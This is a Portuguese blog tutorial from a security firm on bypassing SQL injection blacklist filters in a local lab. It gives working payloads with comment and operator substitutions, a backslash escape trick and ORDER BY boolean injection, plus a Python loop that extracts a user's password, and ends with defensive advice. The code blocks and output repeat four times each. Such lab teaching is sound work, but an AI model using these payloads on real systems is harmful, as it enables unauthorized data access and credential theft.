Índice

Título
Índice
Índice
Título

Ataques

Como burlar manualmente os filtros de SQLi

cover-sqli-manual-bypass
Jonathan Armas

Analista de segurança

Updated

8 min

Entre as vulnerabilidades mais recorrentes estão as falhas de injeção, não à toa elas ocupam o primeiro lugar na lista OWASP Top Ten. Esse tipo de vulnerabilidade pode comprometer toda a sua segurança e infraestrutura; praticamente qualquer entrada pode ser um vetor de injeção, e todas precisam ser controladas. Aqui, a SQL injection desempenha um papel importante, não só pelo risco de vazamento de informações, mas também porque pode levar à execução remota de comandos ou ao acesso à rede interna.

Essa vulnerabilidade ocorre quando um atacante injeta código nas consultas que a aplicação faz ao banco de dados, interferindo em seu funcionamento normal. Isso acontece porque os desenvolvedores não validaram corretamente a entrada de dados nem aplicaram as boas práticas para recuperar dados do banco de dados. Vou te dar um exemplo; imagine este trecho de código:

Código comum vulnerável a SQLi





Aqui criei o código típico de uma página de login que verifica o usuário e a senha. As variáveis são recebidas por uma requisição POST, e não há validação de entrada. Um atacante poderia simplesmente usar o conhecido payload de SQLi 1' or '1'='1 e burlar o formulário de login. Mas, se eu filtrar alguns caracteres como a OR keyword ou single quote de aspas simples, estaria tudo bem? Não muito.

Laboratório de bypass de SQLi

Para configurar nosso laboratório, vamos usar o Vagrant da Hashicorp’s; os arquivos-fonte estão abaixo. Crie uma pasta chamada SQLie salve o Vagrantfilenela.

Configurando o laboratório

$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here
$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here
$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here
$ mkdir SQLi
$ cd SQLi
SQLi$ nano Vagrantfile #Add the content here

Vagrantfile

# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end
# -*- mode: ruby -*-
# vi: set ft=ruby :

Vagrant.configure("2") do |config|

  config.vm.box = "jarmasatfluid/sqlitest"
  config.vm.box_version = "1"
  config.vm.network "private_network", ip: "192.168.56.2"

end

Em seguida, execute o ambiente usando

Vagrant up

SQLi$ vagrant
SQLi$ vagrant
SQLi$ vagrant
SQLi$ vagrant

Isso criará uma máquina Linux com LAMP instalado e configurado. Neste ponto, já temos tudo o que precisamos e estamos prontos para lançar um ataque.

Agora podemos configurar nossa máquina atacante. Aqui também estamos usando Kali Linux com Vagrant, mas você pode usar o sistema operacional que preferir.

Estas são as ferramentas que vamos usar:

Se você estiver usando o Kali, tudo isso já vem instalado por padrão.

Estamos prontos para começar.

Enumerando nosso servidor

Primeiro, precisamos verificar as portas do servidor. Podemos usar o nmap ou o ncat para isso.

Escaneamento de portas

nmap 192.168.56.2
ncat -vz 192.168.56.2 80
nmap 192.168.56.2
ncat -vz 192.168.56.2 80
nmap 192.168.56.2
ncat -vz 192.168.56.2 80
nmap 192.168.56.2
ncat -vz 192.168.56.2 80

Saída do nmap

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-20 13:32 SA Pacific Standard Time
Nmap scan report for 192.168.56.2
Host is up (0.00051s latency).
Not shown: 997 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
80/tcp open  http
MAC Address: 08:00:27:0A:C5:08 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 10

NC

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Ncat: Connected to 192.168.56.2:80.
Ncat: 0 bytes sent, 0 bytes received in 0

Our server runs Apache on port 80. Then using Dirbuster, we can search for directories on the web server.

Dirbuster

$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4
$ dirb http://192.168.56.2/

DIRB v2.22
By The Dark Raver

START_TIME: Mon May 20 11:26:17 2020
URL_BASE: http://192.168.56.2/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

GENERATED WORDS: 4612

 Scanning URL: http://192.168.56.2/
==> DIRECTORY: http://192.168.56.2/code/
+ http://192.168.56.2/index.html (CODE:200|SIZE:11321)
+ http://192.168.56.2/server-status (CODE:403|SIZE:277)

 Entering directory: http://192.168.56.2/code/
+ http://192.168.56.2/code/admin.php (CODE:302|SIZE:2075)
+ http://192.168.56.2/code/index.php (CODE:200|SIZE:1098)

END_TIME: Mon May 20 11:26:25 2020
DOWNLOADED: 9224 - FOUND: 4

Como podemos ver, há um site de administração ao qual não temos acesso e um site comum onde estão nossos casos de teste.

Ataques de bypass de SQLi

Existem três casos de teste; o primeiro é o mais simples. Ele filtra as palavras-chave OR|AND e também o caractere de espaço.

Primeiro filtro de SQLi

if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>
if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>
if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>
if(preg_match('/or|and| /i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

O nome de usuário não é injetável porque usa uma instrução preparada (isso foi feito assim para mostrar a forma correta de fazer consultas). Se colocarmos qualquer um desses caracteres na consulta, ela deve responder com um alerta Wrong.

Para burlar isso, precisamos substituir essas palavras-chave: a palavra-chave OR pelo caractere de barra vertical dupla ||, e a palavra-chave AND pelo caractere de e comercial duplo &&. Neste caso, precisamos codificar isso em URL por causa do tipo de conteúdo da aplicação web, resultando em %26%26. Por fim, o caractere de espaço pode ser burlado usando várias substituições, como as seguintes:

  • O comentário de bloco /**/

  • O caractere ascii %09 de tabulação horizontal

  • O caractere ascii %0a de nova linha

  • O caractere ascii %0b de tabulação vertical

  • O caractere ascii %0c de nova página

  • O caractere ascii %0d de retorno de carro

Assim, nosso conhecido payload de SQLi mudará para algo como '/**/||/**/1=1#

Primeiro bypass





O próximo caso de teste é um pouco mais complicado: ele filtra os mesmos caracteres de antes, além do caractere de aspas simples. Além disso, remove o uso da instrução preparada na variável de usuário, mas também valida o caractere de aspas simples.

Segundo filtro de SQLi

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'/', $user)) exit("<script type='text/javascript'>alert('Wrong');</script>");
if(preg_match('/or|and| |\'/i',$pass)) exit("<script type='text/javascript'>alert('Wrong');</script>

Então, o que podemos fazer para burlar isso? O caractere de barra invertida \ é um caractere de escape especial usado para indicar outros caracteres especiais dentro de strings. Isso é útil no nosso caso porque, se injetarmos esse caractere no campo de usuário, o caractere de aspas simples ao lado dele vai agir como um caractere literal, e a string do nome de usuário terminará logo ao lado do campo de senha:

Exemplo de barra invertida

É apenas uma questão de injetar nosso código ali; o payload no usuário será \, e no campo de senha será /**/||/**/1=1/**/--

Segundo bypass





O último exemplo combina tudo isso e adiciona mais filtros ao código; é um tipo diferente de vulnerabilidade, porque vamos burlar o filtro dentro de uma palavra-chave ORDER BY.

Terceiro filtro de SQLi

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

if(preg_match('/\'|"|=|admin|substr|concat|group|ascii|or|and| |-|#|\s|\/\\\\|like|0x|col|case|when|sleep|benchmark/i',$_GET["by"])) exit("<script type='text/javascript'>alert('Wrong');</script>

Aqui quase não podemos usar palavras-chave ou funções, e o union select também não vai funcionar. Para coletar dados do banco de dados a partir de uma palavra-chave ORDER BY , precisamos usar uma SQLi baseada em erro ou uma baseada em tempo.

Então, a primeira injeção servirá para testar a vulnerabilidade; vamos injetar uma SQLi simples baseada em erro em que, se for verdadeira, ela ordenará os itens usando o id, e se for falsa, vai ordená-los usando o name:

  1. ?by=if(false,id,name)

  2. ?by=if(true,id,name)

Agora, vamos adicionar outra camada. Queremos extrair informações a partir disso, e para conseguir isso precisamos fazer algumas consultas. Neste exemplo, vamos obter a senha do usuário guest (se você quiser obter a senha do admin, deve tentar por conta própria). Como os caracteres =, aspas simples e aspas duplas estão filtrados, precisamos de outra forma de obter a informação do usuário que queremos. Aqui temos o operador IN e a função CHAR. O operador IN nos permite especificar múltiplos valores em uma cláusula WHERE, mas também podemos usar apenas um se quisermos, e a função CHAR retorna o caractere ASCII correspondente a um número. Usando os dois elementos, uma consulta para a senha de guest ficaria mais ou menos assim:

Consulta da senha de guest

Aqui, a string guest é a combinação dos caracteres ASCII 103,117,101,115,116. Agora, a função MIDvai nos ajudar a extrair caracteres dessa consulta e obter a senha caractere por caractere. Esta consulta vai obter o primeiro caractere da senha:

Caractere da senha de guest

Em seguida, precisamos compará-lo com outro caractere; aqui vamos usar IN e CHAR novamente:

Comparação da senha de guest

Finally, we put our query into the previous IF function and replace the spaces with the block comment:

Com isso, conseguimos obter a senha de guestusando a função ORDER BY. Fazer isso manualmente levaria bastante tempo, então vamos automatizar com Python. A primeira coisa de que precisamos é uma função que faça nossas consultas e retorne a resposta:

Função para fazer a requisição

def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text
def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text
def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text
def make_request(parms):
    """
    Makes the request
    """
    response = requests.get(URL, headers=HEADERS, params=parms,
                            cookies=COOKIES)
    return response.text

Em seguida, precisamos percorrer cada elemento da senha e cada caractere ASCII:

Consulta iterativa

# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'
# Length of the password
for i in range(8):
  # All ASCII table
  for j in range(0, 128):
    query = 'if(mid((select/**/passwd/**/from/**/users/**/where/**/user/**/in(CHAR(103,117,101,115,116))),'+str(i)+',1)/**/in(CHAR('+str(j)+')),id,name)'

E, por fim, verificamos se a lista está ordenada por id:

check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break
check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break
check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break
check = ">Description</th></tr></thead><tbody><tr><td>5"
if check in resp:
  PASSWORD += chr(j)
  break

É isso: crie o exploit, execute-o e espere pelo resultado. Isso também poderia ser feito com qualquer outra consulta, por exemplo, para obter o hash da senha de um usuário do MySQL.

Solução

A primeira coisa que quem tem esse problema precisa fazer é implementar instruções preparadas; não há como fugir disso. Injeções podem ocorrer em praticamente qualquer provedor de banco de dados (senão em todos). Com essas instruções, o software terá consultas de dados mais robustas, e o uso de consultas dinâmicas será descartado.

O próximo passo é aplicar listas brancas para validar a entrada do usuário. Quando os desenvolvedores usam filtragem por lista negra, como nos exemplos acima, existe o risco de deixar passar algum parâmetro que permita a injeção. Listas brancas são uma abordagem melhor porque permitem apenas o que está nelas, e mais nada.

Por fim, há a implementação do princípio do menor privilégio. Já encontrei vários bancos de dados executando consultas com o usuário root; é melhor usar usuários limitados em nossas aplicações, porque isso reduz o raio de ação dos atacantes que, no pior cenário, conseguem acesso ao banco de dados.

Se você quiser mais informações sobre proteções contra SQLi, pode consultar a OWASP ou nossa base de dados.

Comece a usar a solução de ASPM da Fluid Attacks agora mesmo

Tags:

cibersegurança

web

vulnerabilidade

hacking

treinamento

Assine nossa newsletter

Mantenha-se atualizado sobre nossos próximos eventos e os últimos posts do blog, advisories e outros recursos interessantes.

Reduza o risco sem atrasar suas entregas

Reduza o risco sem atrasar suas entregas

Um único programa de segurança contínua, potencializado por IA, scanners determinísticos e pentesters.

Um único programa de segurança contínua, potencializado por IA, scanners determinísticos e pentesters.

Previna

Previna

Previna

Detecte

Detecte

Detecte

Gerencie

Gerencie

Gerencie

Corrija

Corrija

Corrija